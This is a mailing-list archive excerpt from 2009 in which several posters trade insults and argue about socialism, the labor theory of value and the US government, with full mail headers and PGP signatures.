-----END PGP SIGNATURE-----




--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636c5a723d9c7e6046aec85e8-- From vortexb-l-request@eskimo.com Wed May 27 16:14:58 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4RNEu4Y020002; Wed, 27 May 2009 16:14:56 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4RNEoFm019955; Wed, 27 May 2009 16:14:50 -0700 Resent-Date: Wed, 27 May 2009 16:14:50 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Wed, 27 May 2009 16:14:40 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:Black Budget Higher Than Ever Message-ID: <20090527231439.GG17182@shell.resist.ca> Reply-To: grok@resist.ca References: <7.0.1.0.2.20090527134159.0383b4b0@gmail.com> <20090527190928.GA23886@shell.resist.ca> <63ffa6020905271213y60653587y75ea91d455bd092b@mail.gmail.com> <20090527200533.GE23886@shell.resist.ca> <2hdr15lk0oihvefdno4svuu6jum232r3qv@4ax.com> <20090527221254.GF17182@shell.resist.ca> <63ffa6020905271539r3bd241b8j9a165f8d36770b00@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020905271539r3bd241b8j9a165f8d36770b00@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: HE-Frag, supercavitating, Co60, nitromethane, C-141B Starlifter User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: <6Wr1F.A.t3E.qlcHKB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4226 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 468 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > It's a dialectic so profound, so true, that it only convinces those who are > already convinced. There are none so blind as those who will not see... Chuckie. Oh, say... can YOU see..?? - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkodyV8ACgkQXo3EtEYbt3FLvACfY8mMz0Jzn3PWKLtdng+CMJvf 3usAoJgPR8r6sJiXxRIOgB1cFd0JTL1y =B+EX -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Wed May 27 16:21:32 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4RNLTWa021652; Wed, 27 May 2009 16:21:29 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4RNLS1p021639; Wed, 27 May 2009 16:21:28 -0700 Resent-Date: Wed, 27 May 2009 16:21:28 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:cc:content-type; bh=2A3VyWdpOyqxTx747iGyxFELPF4EC7v5CPshbKFTw4k=; b=a6Ex6hR31gH10azYrGXH6guRClKkaqTbFaGnOrFDtPjo2zDq+RgD3x3IT2FPLCuG67 ATOJScq2tJGTbnXh/Q9T6dGGzVfi31FWBHFu6iPPisIw5QkW3kGlG09bEHU0vxNQuQnv CHyon1i0mNfMXclV6uPZif6hxbqAbI4M+Wbvc= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; b=um8CfT97LaFTNYxsaW/dv56j+xLVsk79uQiqJ1jT3D77mKeA9+bY+m92X1IBiQ9kMy 89n2TTVHz9jf4KtTvbow4t/W5HohQpOn2FOS3EJnpxC2+ilOXnPwcE4Ujp4hQ3OLpKkD NLXc/ZTImbmJVlzMxLkt5PS6H9bZ1Yse4HOxM= MIME-Version: 1.0 In-Reply-To: <20090527231439.GG17182@shell.resist.ca> References: <7.0.1.0.2.20090527134159.0383b4b0@gmail.com> <20090527190928.GA23886@shell.resist.ca> <63ffa6020905271213y60653587y75ea91d455bd092b@mail.gmail.com> <20090527200533.GE23886@shell.resist.ca> <2hdr15lk0oihvefdno4svuu6jum232r3qv@4ax.com> <20090527221254.GF17182@shell.resist.ca> <63ffa6020905271539r3bd241b8j9a165f8d36770b00@mail.gmail.com> <20090527231439.GG17182@shell.resist.ca> From: Charles HOPE Date: Wed, 27 May 2009 19:21:07 -0400 Message-ID: <63ffa6020905271621s492a9c09r912e718227df3632@mail.gmail.com> Subject: Re: [VoB]:Re: [Vo]:Black Budget Higher Than Ever To: grok@resist.ca Cc: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5b52642fbd9046aed1ab6 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4227 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 469 --001636c5b52642fbd9046aed1ab6 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Your emotions blind you. On Wed, May 27, 2009 at 7:14 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Charles HOPE > mounted the barricade and roared out: > > > It's a dialectic so profound, so true, that it only convinces those who > are > > already convinced. > > There are none so blind as those who will not see... Chuckie. > Oh, say... can YOU see..?? > > > - -- grok. > > > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkodyV8ACgkQXo3EtEYbt3FLvACfY8mMz0Jzn3PWKLtdng+CMJvf > 3usAoJgPR8r6sJiXxRIOgB1cFd0JTL1y > =3DB+EX > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5b52642fbd9046aed1ab6 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Your emotions blind you.



On Wed, = May 27, 2009 at 7:14 PM, grok <grok@resist.ca> wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


As the smoke cleared, Charles HOPE <lookslikeiwasright@gmail.com>
mounted the barricade and roared out:

> It's a dialectic so profound, so true, tha= t it only convinces those who are
> already convinced.

There are none so blind as those who will not see... Chuckie.
Oh, say... can YOU see..??


- -- grok.







- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkodyV8ACgkQXo3EtEYbt3FLvACfY8mMz0Jzn3PWKLtdng+CMJvf
3usAoJgPR8r6sJiXxRIOgB1cFd0JTL1y
=3DB+EX
-----END PGP SIGNATURE-----




--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636c5b52642fbd9046aed1ab6-- From vortexb-l-request@eskimo.com Wed May 27 16:23:50 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4RNNjKH022216; Wed, 27 May 2009 16:23:45 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4RNNiGu022206; Wed, 27 May 2009 16:23:44 -0700 Resent-Date: Wed, 27 May 2009 16:23:44 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Wed, 27 May 2009 16:23:39 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:Black Budget Higher Than Ever Message-ID: <20090527232339.GH17182@shell.resist.ca> Reply-To: grok@resist.ca References: <7.0.1.0.2.20090527134159.0383b4b0@gmail.com> <20090527190928.GA23886@shell.resist.ca> <63ffa6020905271213y60653587y75ea91d455bd092b@mail.gmail.com> <20090527200533.GE23886@shell.resist.ca> <2hdr15lk0oihvefdno4svuu6jum232r3qv@4ax.com> <20090527221254.GF17182@shell.resist.ca> <63ffa6020905271539r3bd241b8j9a165f8d36770b00@mail.gmail.com> <20090527231439.GG17182@shell.resist.ca> <63ffa6020905271621s492a9c09r912e718227df3632@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020905271621s492a9c09r912e718227df3632@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: HE-Frag, supercavitating, Co60, nitromethane, C-141B Starlifter User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4228 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 470 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > Your emotions blind you. I think this line of "dialog" has petered out into nothing much ado at all. Nyah, nyah, nyah-nyah, nyah... - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkody3sACgkQXo3EtEYbt3Gk4ACfWMr+a2YfPTO7R1KUl6lvZFQb TOsAoJ8NpbrMYDpvJ31NV7dKU4WjyU03 =F6S6 -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Wed May 27 16:23:58 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4RNNlwl022261; Wed, 27 May 2009 16:23:47 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4RNNlcv022251; Wed, 27 May 2009 16:23:47 -0700 Resent-Date: Wed, 27 May 2009 16:23:47 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-YMail-OSG: 9.BeglsVM1l.TDbwLGBs12CeXcne0cY6HEEhobJIj1qJg3bWBfDXkXXBOR1rpvXfb6RB4N6S59.92m5vim_ZiOTnApi_YhbcCDLMZBpMpzCo33drogEabx0r4H_xWHCFG_oaJEo3.zxiQYsMvg2_RvnUGjKOhkN8VUBrOW89ST7cf3LNoxK0jyUe_02EBjZ227ck5ldgHuSBJB7hLtCKxk51S3M1sxNAKiWjNinuIlNcfPpsoCsoVr8.FZ9wZnRAI8E4PwBr8II2pT9I44a2iMjimrqOCVGTPT_qDaWBs7JkKDg68D564.C9.V_5hYgHbgCllX3v1Ple1Jrxssk- X-Yahoo-Newman-Property: ymail-3 From: John Fields To: grok@resist.ca Cc: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:Black Budget Higher Than Ever Date: Wed, 27 May 2009 18:23:41 -0500 Organization: Austin Instruments. Inc. Message-ID: References: <7.0.1.0.2.20090527134159.0383b4b0@gmail.com> <20090527190928.GA23886@shell.resist.ca> <63ffa6020905271213y60653587y75ea91d455bd092b@mail.gmail.com> <20090527200533.GE23886@shell.resist.ca> <63ffa6020905271309n7253cb88n56f6684a36fdf60a@mail.gmail.com> <20090527202921.GA17182@shell.resist.ca> In-Reply-To: <20090527202921.GA17182@shell.resist.ca> X-Mailer: Forte Agent 4.2/32.1118 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4229 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 471 On Wed, 27 May 2009 13:29:21 -0700, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > > >As the smoke cleared, Charles HOPE >mounted the barricade and roared out: > >> You like it? We call it "enhanced" logic. > >I'll bet you do. Maybe even "stress position" logic, eh? > >Here, we just call it plain, old-fashioned "rubber-hose" logic. >Or "electrodes on the nipples and genitalia" logic. --- =46unny, but ISTM that "here" is: vortexb-l@eskimo.com where plain, old fashioned "rubber-hose" logic and "electrodes on the nipples and genitalia" don't happen. What does happen is that, through the magnanimity of Mr. Beaty, ideas can be discussed here with no rules binding the depths to which the discussion may fall. So far, you seem to playing a losing game in that your politics, your rhetoric, and your logic have all been shot down by your intellectual superiors. Denial of that's an honorable stance, if you can prove that your position is tenable, yet what you do is whine about that it isn't, since socialism would rule if only the capitalists would get out of the way. And why should we? You espouse a system where the status quo will be maintained by feeding the termite queen until life on Earth dies, while we espouse a system which will take us to the stars. JF =20 From vortexb-l-request@eskimo.com Wed May 27 16:43:41 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4RNhYOL028035; Wed, 27 May 2009 16:43:34 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4RNhX42028018; Wed, 27 May 2009 16:43:33 -0700 Resent-Date: Wed, 27 May 2009 16:43:33 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-YMail-OSG: P0mDDoUVM1mZABEOqIwYm3x7Ku2d9yij2NWdGWKAo8wb4A75HhH6DmxaQtsC3yGq6hdXIXuqf32I4d4KgJryhOcCo60jaMQIkYsPduHsTBiDVNf5nzJTr_ZY4EMRQBeCPNwLRlZRmgQJ1uWFBYDpF67GR.d1IwUEwFBEYGSFORkTuiLlA12iNLZgc0BLGCCkVP3hBhLP.HmJMviIQvLy_IlyKlQ_Og3W90BHmKavCVZffXGb2nkGypen8mgDONjiBpSMV3aMcbFE_ny8ToS3jrFEqNtJhuvw7DazGSMgHDqn4C2U4AN_GH7V_OvsAm_xubEHbYZw_ek_KE_X6pXs80XILBoKS0Q- X-Yahoo-Newman-Property: ymail-3 From: John Fields To: grok@resist.ca Cc: vortexb-l@eskimo.com Subject: Re: [VoB]:Human Nature and fish Date: Wed, 27 May 2009 18:43:27 -0500 Organization: Austin Instruments. Inc. Message-ID: <7jjr1557h4112otbrqtinks8r32bh20522@4ax.com> References: <20090527045107.GB21543@shell.resist.ca> <90F0F609EF004713B0E68AB32FA6CB1B@REVTEC1> <20090527192018.GC23886@shell.resist.ca> <20090527220800.GE17182@shell.resist.ca> In-Reply-To: <20090527220800.GE17182@shell.resist.ca> X-Mailer: Forte Agent 4.2/32.1118 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4230 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 472 On Wed, 27 May 2009 15:08:00 -0700, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > > >As the smoke cleared, John Fields >mounted the barricade and roared out: > >> >The Law is an ass, isn't it?=20 >>=20 >> --- >> More like a mule which won't respond to your rein. >=20 >No, the Law is definitely an ass. =20 --- What do you mean? JF =20 From vortexb-l-request@eskimo.com Wed May 27 16:49:12 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4RNnAic029423; Wed, 27 May 2009 16:49:10 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4RNn9YD029412; Wed, 27 May 2009 16:49:09 -0700 Resent-Date: Wed, 27 May 2009 16:49:09 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Wed, 27 May 2009 16:49:04 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:Black Budget Higher Than Ever Message-ID: <20090527234904.GI17182@shell.resist.ca> Reply-To: grok@resist.ca References: <7.0.1.0.2.20090527134159.0383b4b0@gmail.com> <20090527190928.GA23886@shell.resist.ca> <63ffa6020905271213y60653587y75ea91d455bd092b@mail.gmail.com> <20090527200533.GE23886@shell.resist.ca> <63ffa6020905271309n7253cb88n56f6684a36fdf60a@mail.gmail.com> <20090527202921.GA17182@shell.resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: HE-Frag, supercavitating, Co60, nitromethane, C-141B Starlifter User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4231 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 473 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, John Fields mounted the barricade and roared out: > What does happen is that, through the magnanimity of Mr. Beaty, ideas > can be discussed here with no rules binding the depths to which the > discussion may fall. The Internet is a very big place and involves a lot of semi-automatic open-source code, fella. Frankly, I am underwhelmed by such bogus "generosity". The point was very much to sidetrack "inconvenient" thinking. More hypocrisy from your end, AFAIC. > So far, you seem to playing a losing game in that your politics, your > rhetoric, and your logic have all been shot down by your intellectual > superiors. Amazing. To think you actually believe that. > Denial of that's an honorable stance, if you can prove that your > position is tenable, yet what you do is whine about that it isn't, since > socialism would rule if only the capitalists would get out of the way. > > And why should we? I doubt very much that you are a capitalist, Chum. > You espouse a system where the status quo will be maintained by feeding > the termite queen until life on Earth dies, while we espouse a system > which will take us to the stars. > > JF I can laff now, right..? Jeebus H. Keerist, what malarky. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkod0XAACgkQXo3EtEYbt3EdYQCgj+auUxchvjgMQHoRMbifvq/t lwcAn2+sDFGsX6DGNaLEKI7KjTvHHoUC =SqXp -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Wed May 27 16:54:42 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4RNseKJ008322; Wed, 27 May 2009 16:54:40 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4RNsd4Q008314; Wed, 27 May 2009 16:54:39 -0700 Resent-Date: Wed, 27 May 2009 16:54:39 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Wed, 27 May 2009 16:54:27 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Message-ID: <20090527235427.GJ17182@shell.resist.ca> Reply-To: grok@resist.ca References: <20090526203023.GA2707@shell.resist.ca> <63ffa6020905261340o2f33f8fav2f05c0fd972365d5@mail.gmail.com> <822450026B1B4CD5BF01AAA9CF143512@REVTEC1> <20090526230931.GC2707@shell.resist.ca> <63ffa6020905261614ie2ced11la6c4cb36060582d8@mail.gmail.com> <20090526234055.GK2707@shell.resist.ca> <3c4p15t6f61sv4q69m2itpna317v8l54ga@4ax.com> <20090527203933.GB17182@shell.resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: HE-Frag, supercavitating, Co60, nitromethane, C-141B Starlifter User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4232 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 474 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, John Fields mounted the barricade and roared out: > >> Cite? > > > >Google it yourself. I'm not making some outrageous claim here. Whatever youse think. > >Why not start here: > > --- > OK, then, even from your stilted perspective we must be doing > _something_ right since we're feeding those of us who can't feed > themselves, yes? What's this "we" shite. You don't speak for a fraction of the people you claim to do. And actually, "youse" are doing a rather shitty job, considering the huge mass of stolen wealth of the Planet "youse" people have accumulated in the U.S./NATO Imperium over the decades. - --grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkod0rMACgkQXo3EtEYbt3HShgCgy43rc+ghTpx5Kp/2P4fB3SkP OL0AoIL78sDNNeW2/kbKqRACOikao4zU =KMN5 -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Wed May 27 16:56:17 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4RNu3dG031330; Wed, 27 May 2009 16:56:14 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4RNu3lW031320; Wed, 27 May 2009 16:56:03 -0700 Resent-Date: Wed, 27 May 2009 16:56:03 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Wed, 27 May 2009 16:55:51 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Human Nature and fish Message-ID: <20090527235551.GK17182@shell.resist.ca> Reply-To: grok@resist.ca References: <20090527045107.GB21543@shell.resist.ca> <90F0F609EF004713B0E68AB32FA6CB1B@REVTEC1> <20090527192018.GC23886@shell.resist.ca> <20090527220800.GE17182@shell.resist.ca> <7jjr1557h4112otbrqtinks8r32bh20522@4ax.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <7jjr1557h4112otbrqtinks8r32bh20522@4ax.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: HE-Frag, supercavitating, Co60, nitromethane, C-141B Starlifter User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4233 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 475 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, John Fields mounted the barricade and roared out: > >> >The Law is an ass, isn't it? > >> > >> --- > >> More like a mule which won't respond to your rein. > > > >No, the Law is definitely an ass. > > --- > What do you mean? > > JF I mean that your government is a criminal, gangster enterprise. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkod0wYACgkQXo3EtEYbt3GXAwCgxzGgRY84ull8XY4t08s4z4DL c0EAoPSL6dymcvtaggW7BBSqCUuHdtJQ =h7Nr -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Wed May 27 17:17:34 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4S0HQua008462; Wed, 27 May 2009 17:17:31 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4S0HMk9008383; Wed, 27 May 2009 17:17:22 -0700 Resent-Date: Wed, 27 May 2009 17:17:22 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:cc:content-type; bh=unS0V9WzAxQKpQmlNZPm42y9Pcfa0VG0FoeWzPudg1Q=; b=IiC/TXOmYXkwzlaokjrRuXaU4zPp7GnxszUOcnBkb9ErA8Fd9qmfjx27TuROe3k7MJ e/ZKhyE1uvCKi4iefdtp6s2yLd3mseObUkUhlRap9cu7WwmYzBjYFM4AdgLjLv/DtJfU +BrUtIE+WCAMavySGSM1AVkIuBb804Yt+r66w= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; b=aSzKI24D+Or6l8rEcM33DmlNKBCNOhEQymHc4dCYthBY61o8qvoBpAbcHHsb5+jr9D YiFh0gFHvWdT9XUA3/VhYqUbZW3upMTmmJ0ZMm4iWduo4X5pu+pTxDCBcJLg/JWR9WXC 4aYrX68WIwyj5W4LiYkyBVGsjnJkbTer6reO8= MIME-Version: 1.0 In-Reply-To: <20090527232339.GH17182@shell.resist.ca> References: <20090527190928.GA23886@shell.resist.ca> <63ffa6020905271213y60653587y75ea91d455bd092b@mail.gmail.com> <20090527200533.GE23886@shell.resist.ca> <2hdr15lk0oihvefdno4svuu6jum232r3qv@4ax.com> <20090527221254.GF17182@shell.resist.ca> <63ffa6020905271539r3bd241b8j9a165f8d36770b00@mail.gmail.com> <20090527231439.GG17182@shell.resist.ca> <63ffa6020905271621s492a9c09r912e718227df3632@mail.gmail.com> <20090527232339.GH17182@shell.resist.ca> From: Charles HOPE Date: Wed, 27 May 2009 20:17:00 -0400 Message-ID: <63ffa6020905271717x73796864x8c682efd37632a38@mail.gmail.com> Subject: Re: [VoB]:Re: [Vo]:Black Budget Higher Than Ever To: grok@resist.ca Cc: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=00504502e5011c27c9046aede259 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4234 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 476 --00504502e5011c27c9046aede259 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable John is right. You're incapable of defending your ideas without going off-topic and lashing out angrily at the world, and this is the best level you're capable of. Unless you would like to pick up where you left off and attempt to defend the Labor Theory of Value, but so far you're incapable of convincing even a single person on this list, presumably because the entire world, the field of economics, and this mailing list is engaged in a vast conspiracy. If labor time is the basis of all value, then what role does utility play? The two have no relation to one another. If economic decisions are made on the basis of utility, what's left for the man-hours to signify? On Wed, May 27, 2009 at 7:23 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Charles HOPE > mounted the barricade and roared out: > > > Your emotions blind you. > > I think this line of "dialog" has petered out into nothing much ado at al= l. 